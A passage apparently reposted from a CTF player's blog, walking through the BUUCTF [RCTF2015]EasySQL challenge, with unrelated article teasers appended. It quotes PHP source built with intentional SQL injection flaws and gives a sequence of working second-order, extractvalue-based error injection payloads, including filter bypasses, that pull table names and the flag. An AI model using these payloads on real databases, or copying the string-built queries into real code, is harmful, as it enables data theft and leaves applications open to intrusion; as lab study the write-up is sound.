60,【1】BUUCF web [RCTF2015]EasySQL1

先查看源碼

1,changepwd(修改密碼)

<?php
// 開啟會話,以便使用會話變量
session_start();// 設置頁面的內容類型為 HTML 并使用 UTF-8 編碼
header("Content-Type: text/html; charset=UTF-8");// 引入配置文件,通常包含數據庫連接信息等
require_once 'config.php';// 輸出一個表單,用于用戶輸入舊密碼和新密碼
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';// 檢查是否提交了舊密碼和新密碼
if (isset($_POST['oldpass']) && isset($_POST['newpass'])) {// 將用戶輸入的舊密碼進行 MD5 哈希處理$oldpass = md5($_POST['oldpass']);// 將用戶輸入的新密碼進行 MD5 哈希處理$newpass = md5($_POST['newpass']);// 獲取當前登錄用戶的用戶名,存儲在會話中$username = $_SESSION['username'];// 構建 SQL 語句,用于更新用戶的密碼,使用用戶輸入的舊密碼驗證用戶身份$sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";// var_dump($sql);// 執行 SQL 查詢$query = mysql_query($sql);// 檢查查詢是否成功執行if ($query) {// 如果查詢成功,退出腳本,可根據需要修改為更有意義的操作,如顯示成功消息exit('');} else {// 如果查詢失敗,輸出 MySQL 錯誤信息并終止腳本die(mysql_error());}
}
?>

此文件表明會對輸入的用戶名和密碼進行MD5哈希處理

所以數據庫中存儲的是MD5哈希值

查詢成功,此文件執行結束,如果失敗,會輸出MySQL錯誤信息

好像是報錯注入

2,config(配置文件)

<?php
// 定義數據庫主機地址和端口號
$dbhost = 'localhost:3306';
// 定義數據庫用戶名
$dbuser = 'root';
// 定義數據庫密碼,這里是空密碼
$dbpass = '';
// 使用 mysql_connect 函數嘗試連接到數據庫服務器,傳遞主機、用戶名和密碼作為參數
$conn = mysql_connect($dbhost, $dbuser, $dbpass);// 選擇要使用的數據庫,這里選擇的是名為 'web_sqli' 的數據庫
mysql_select_db('web_sqli');
// 設置字符集為 utf8,確保數據庫操作使用 utf8 編碼,避免亂碼問題
mysql_query('set NAMES utf8');// 檢查是否開啟了魔術引號,如果沒有開啟,則對 POST 和 GET 數據進行轉義處理
if (!get_magic_quotes_gpc()) {// 遍歷 POST 數據,對其中的每個元素進行轉義處理foreach ($_POST as $key => $value) {// 使用 addslashes 函數對值進行轉義,防止 SQL 注入$_POST[$key] = addslashes($value);}// 遍歷 GET 數據,對其中的每個元素進行轉義處理foreach ($_GET as $key => $value) {// 使用 addslashes 函數對值進行轉義,防止 SQL 注入$_GET[$key] = addslashes($value);}
}
?>

此文件表明數據庫用戶名為root,密碼是空密碼

并且檢查是否開啟了魔術引號,未開啟時對post,get數據進行轉義處理

3,index(默認首頁文件)

<?php
// 開始一個新的會話或繼續已有的會話
session_start();// 設置 HTTP 響應頭,指定內容類型為 text/html 且字符編碼為 UTF-8
header("Content-Type: text/html; charset=UTF-8");// 引入配置文件,通常包含數據庫連接信息等
require_once 'config.php';// 檢查是否已經設置了會話中的用戶名,這通常表示用戶已經登錄
if (isset($_SESSION['username'])) {// 輸出歡迎信息,并顯示用戶的名字作為一個鏈接,指向 user.php 頁面echo "Hi,<a href='user.php'>".$_SESSION['username']."</a>";// 輸出一個無序列表的開始標簽echo "<ul>";// 輸出列表項,鏈接到 index.php 并傳遞不同的 title 參數echo "<li><a href='index.php?title=lcsg'>良辰詩歌</a></li>";echo "<li><a href='index.php?title=wyzb'>網友裝逼</a></li>";echo "<li><a href='index.php?title=zrtbf'>趙日天不服</a></li>";// 輸出無序列表的結束標簽echo "</ul>";// 檢查是否從 GET 請求中接收到了 title 參數if (isset($_GET['title'])) {// 獲取 GET 請求中的 title 參數的值$title = $_GET['title'];// 構建一個 SQL 查詢語句,根據 title 從 article 表中查詢數據$sql = "select * from article where title='$title'";// 執行 SQL 查詢$query = mysql_query($sql);// 檢查查詢是否成功執行if ($query) {// 獲取查詢結果的一行數據作為關聯數組$row = mysql_fetch_array($query);// 輸出查詢結果中 content 列的數據echo $row['content'];}}
} else {// 如果用戶沒有登錄,輸出匿名用戶的歡迎信息echo "Hi,Anonymous<br>";// 輸出登錄頁面的鏈接echo "<a href='./login.php'>LOGIN</a><br>";// 輸出注冊頁面的鏈接echo "<a href='./register.php'>REGISTER</a><br>";
}
?>

4,login(登錄)

<?php
// 開始一個新的會話或繼續已有的會話
session_start();// 設置 HTTP 響應頭,指定內容類型為 text/html 并使用 UTF-8 編碼
header("Content-Type: text/html; charset=UTF-8");// 引入配置文件,通常包含數據庫連接信息等
require_once 'config.php';// 輸出一個 HTML 表單,用戶可以在其中輸入用戶名和密碼,表單提交到 login.php 頁面,使用 POST 方法
echo '<form action="login.php" method="post"><p>username: <input type="text" name="username" /></p><p>password: <input type="text" name="password" /></p><input type="submit" value="Submit" /></form>';// 檢查是否通過 POST 方法提交了用戶名和密碼
if (isset($_POST['username']) && isset($_POST['password'])) {// 獲取用戶輸入的用戶名$username = $_POST['username'];// 使用 MD5 對用戶輸入的密碼進行哈希處理(這種方式已不安全,建議使用 password_hash 函數)$password = md5($_POST['password']);// 構建 SQL 查詢語句,用于從 users 表中查找匹配的用戶名和密碼$sql = "SELECT * FROM users WHERE name = '$username' and pwd = '$password'";// 執行 SQL 查詢$query = mysql_query($sql);// 檢查查詢結果是否正好有一行(即找到一個匹配的用戶)if (mysql_num_rows($query) == 1) {// 獲取查詢結果的一行數據$row = mysql_fetch_array($query);// 將用戶名存儲在會話中,用于后續頁面判斷用戶是否已登錄$_SESSION['username'] = $row['name'];// 重定向到 index.php 頁面header('Location: index.php');// 終止腳本執行die();} else {// 如果未找到匹配用戶,輸出登錄錯誤信息并終止腳本die('<br>login error');}
}
?>

看完這個源碼后就看不到了

只能先進靶場了

進入靶場

嘗試輸入

無效字符串

不管輸啥都說無效字符串,,,,,,

后來發現好像是Email出了問題

知道了一個用戶名(猜測可以通過新注冊一個賬號來更改admin賬戶的密碼)

以此來注冊一個賬號

登錄

看到此頁面

點擊admin#后發現可以更改密碼

那就先把admin賬號的密碼改了

改成123

登錄看看

好打臉啊

一開始輸admin'說無效字符串后就沒輸過'了

補上再輸一遍

還是錯的????????????????????

試試? "

好吧,也是對了,以后菜就多試

先都點進去看看

so,我是什么很賤的人嗎,給我看這個

不過通過以上操作,得知存在二次注入

根據源碼知道它會報錯

而且一開始的操作知道它會過濾

50.【8】BUUCTF WEB HardSql-CSDN博客

參考這篇博客的語句

1,查詢庫名

admin"^extractvalue(1,concat(0x7e,(select(database()))))#

(#是以get方式提交時使用的,-- -和-- +是以post方式提交時使用的,%23在url處使用)

2,查詢表名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('~web_sqli'))))#

???

嘗試了一下,是把like過濾了

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

空白???

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

還是空白?????????

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))#

把庫名帶進去就報不出來,那我求庫名的操作算什么????

算我。。

3,查詢字段名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

4,查詢字段內容

admin"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
?

語義未盡

用right讓后面的爆出來

admin"^extractvalue(1,right(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),32))#

要不我還是去四八(好不容易把括號一組一組對上)

他把right過濾了

admin"^extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

終于終于

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

???還好還好,快結束了

下午學姐剛好講了正則表達式

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

admin"^extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

手動拼一下

flag{090f0996-0d57-4a30-b0d9-92675185411f}

over

筆記

1,該用字典還得用字典

2,extractvalue

3,空格被過濾的題目第一遍就認真注意()的個數,千萬別再多一個少一個了


?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/66654.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/66654.shtml
英文地址,請注明出處:http://en.pswp.cn/web/66654.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

高并發內存池_CentralCache(中心緩存)和PageCache(頁緩存)申請內存的設計

三、CentralCache&#xff08;中心緩存&#xff09;_內存設計 &#xff08;一&#xff09;Span的創建 // 頁編號類型&#xff0c;32位下是4byte類型&#xff0c;64位下是8byte類型 // #ifdef _WIN64 typedef unsigned long long PageID; #else _WIN32 typedef size_t PageI…

SimpleHelp遠程管理軟件存在任意文件讀取漏洞(CVE-2024-57727)

免責聲明: 本文旨在提供有關特定漏洞的深入信息,幫助用戶充分了解潛在的安全風險。發布此信息的目的在于提升網絡安全意識和推動技術進步,未經授權訪問系統、網絡或應用程序,可能會導致法律責任或嚴重后果。因此,作者不對讀者基于本文內容所采取的任何行為承擔責任。讀者在…

2024年終總結-行到水窮處,坐看云起時

依然是——關于我 我&#xff0c;坐標山東青島&#xff0c;一位無名的Java Coder&#xff0c;你可以叫我Debug.c亦或者種棵代碼技術樹。在此不過多贅述關于我&#xff0c;更多的關于我請移步我的2023年年終總結。 2023年終總結-輕舟已過萬重山 2024年OKR完成情況 2023年年末…

AI編程工具使用技巧:在Visual Studio Code中高效利用阿里云通義靈碼

AI編程工具使用技巧&#xff1a;在Visual Studio Code中高效利用阿里云通義靈碼 前言一、通義靈碼介紹1.1 通義靈碼簡介1.2 主要功能1.3 版本選擇1.4 支持環境 二、Visual Studio Code介紹1.1 VS Code簡介1.2 主要特點 三、安裝VsCode3.1下載VsCode3.2.安裝VsCode3.3 打開VsCod…

代碼隨想錄day14

二叉樹的反轉&#xff0c;采用迭代&#xff0c;只能用前序和后序遍歷 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(i…

1月21日星期二今日早報簡報微語報早讀

1月21日星期二&#xff0c;農歷臘月廿二&#xff0c;早報#微語早讀。 1、多地官宣&#xff1a;2025年可有序、限時或在限定區域燃放煙花爆竹&#xff1b; 2、TikTok恢復在美服務&#xff1b;特朗普提出繼續運營TikTok方案&#xff0c;外交部&#xff1a;若涉及收購中國企業應…

計算機組成原理——數據表示(一)

生活是一道長長的旅程&#xff0c;充滿了挑戰和困難。然而&#xff0c;我們必須堅持下去&#xff0c;努力前進。無論遇到什么困難&#xff0c;我們都要勇敢面對&#xff0c;永不放棄。只有通過不斷的努力和堅持&#xff0c;我們才能夠取得成功。在這個旅程中&#xff0c;我們可…

【數據結構】雙向循環鏈表實現簡易圖書管理系統的增刪改查

圖書管理系統 使用雙向循環鏈表實現一個簡單的圖書管理系統&#xff0c;圖書管理系統有如下功能&#xff1a; 1.添加書籍 2.刪除書籍 3.修改書籍信息 4.查詢書籍信息 5.借書 6.還書 #include <stdio.h> #include <stdlib.h> #include <string.h>// 書籍結構體…

強化學習入門--基本概念

強化學習基本概念 grid-world example 這個指的是一個小機器人&#xff08;agent&#xff09;在一個網格區域&#xff08;存在邊界&#xff09;&#xff0c;網格中存在需要躲避的格子和目標格子&#xff0c;我們的目的就是找到到達目標格子的最短路徑 state 表示智能體相對…

STMCubeMX配置STM32F103ZET6

1 配置時鐘 配置RCC。 配置 SYS。將Timebase Source配置為TIM1, SysTick留給FreeRTOS用。 注意: 由于第一次配置的時候忘記配置這個步驟,導致工程第一次燒錄成功后,后面一直無法燒錄,報以下錯誤: keil no target connect Error: Flash Download failed - Target DLL h…

OFD 套版生成原理與 C# 實現詳解

1. 引言 OFD&#xff08;Open Fixed-layout Document&#xff09;是一種基于 XML 的開放版式文檔格式&#xff0c;主要用于電子文檔的存儲和交換。與 PDF 類似&#xff0c;OFD 是一種固定版式文檔格式&#xff0c;能夠確保文檔在不同設備和平臺上顯示的一致性。OFD 格式廣泛應…

Leetcode:2239

1&#xff0c;題目 2&#xff0c;思路 循環遍歷滿足條件就記錄&#xff0c;最后返回結果值 3&#xff0c;代碼 public class Leetcode2239 {public static void main(String[] args) {System.out.println(new Solution2239().findClosestNumber(new int[]{-4, -2, 1, 4, 8})…

C語言之斗地主游戲

&#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 總有人間一兩風&#xff0c;填我十萬八千夢。 &#x1f680; 路漫漫其修遠兮&#xff0c;吾將上下而求索。 ? C語言之斗地主游戲 目錄 程序概述程序設計 Card類CardGroup類Player類LastCards類Land…

python編程-OpenCV(圖像讀寫-圖像處理-圖像濾波-角點檢測-邊緣檢測)圖像變換

形態變換 圖像處理中的形態學操作是處理圖像結構的有效方法。以下是一些常見的形態學操作的介紹及其在 OpenCV 中的實現示例。 1. 腐蝕&#xff08;Erosion&#xff09; 腐蝕操作通過消除圖像邊界來減少圖像中的白色區域&#xff08;前景&#xff09;&#xff0c;使物體的邊…

【Prometheus】PromQL進階用法

?? 歡迎大家來到景天科技苑?? &#x1f388;&#x1f388; 養成好習慣&#xff0c;先贊后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者簡介&#xff1a;景天科技苑 &#x1f3c6;《頭銜》&#xff1a;大廠架構師&#xff0c;華為云開發者社區專家博主&#xff0c;…

SiamCAR(2019CVPR):用于視覺跟蹤的Siamese全卷積分類和回歸網絡

原文標題:SiamCAR: Siamese Fully Convolutional Classification and Regression for Visual Tracking 中文標題:SiamCAR:用于視覺跟蹤的Siamese全卷積分類和回歸 代碼地址: https://github.com/ohhhyeahhh/SiamCAR Abstract 通過將視覺跟蹤任務分解為兩個子問題,…

計算機網絡介質訪問控制全攻略:從信道劃分到協議詳解!!!

一、信道劃分介質訪問控制 介質訪問控制&#xff1a;多個節點共享同一個“總線型”廣播信道時&#xff0c;可能發生“信號沖突” 應該怎么控制各節點對傳輸介質的訪問&#xff0c;才能減少沖突&#xff0c;甚至避免沖突? 時分復用(TDM) 時分復用&#xff1a;將時間分為等長的“…

Prometheus部署及linux、mysql、monog、redis、RocketMQ、java_jvm監控配置

Prometheus部署及linux、mysql、monog、redis、RocketMQ、java_jvm監控配置 1.Prometheus部署1.2.Prometheus修改默認端口 2.grafana可視化頁面部署3.alertmanager部署4.監控配置4.1.主機監控node-exporter4.2.監控mysql數據庫mysqld_exporter4.3.監控mongod數據庫mongodb_expo…

基于tldextract提取URL里的子域名、主域名、頂級域

TLD是TopLevel Domain的縮寫。?tldextract? 是一個用于從URL中提取子域、主域名和頂級域&#xff08;TLD&#xff09;的Python庫。它利用公共后綴列表&#xff08;Public Suffix List&#xff09;來確保即使是復雜或不常見的URL結構也能被正確解析。tldextract能夠處理包括IC…

常見Arthas命令與實踐

Arthas 官網&#xff1a;https://arthas.aliyun.com/doc/&#xff0c;官方文檔對 Arthas 的每個命令都做出了介紹和解釋&#xff0c;并且還有在線教程&#xff0c;方便學習和熟悉命令。 Arthas Idea 的 IDEA 插件。 這是一款能快速生成 Arthas命令的插件&#xff0c;可快速生成…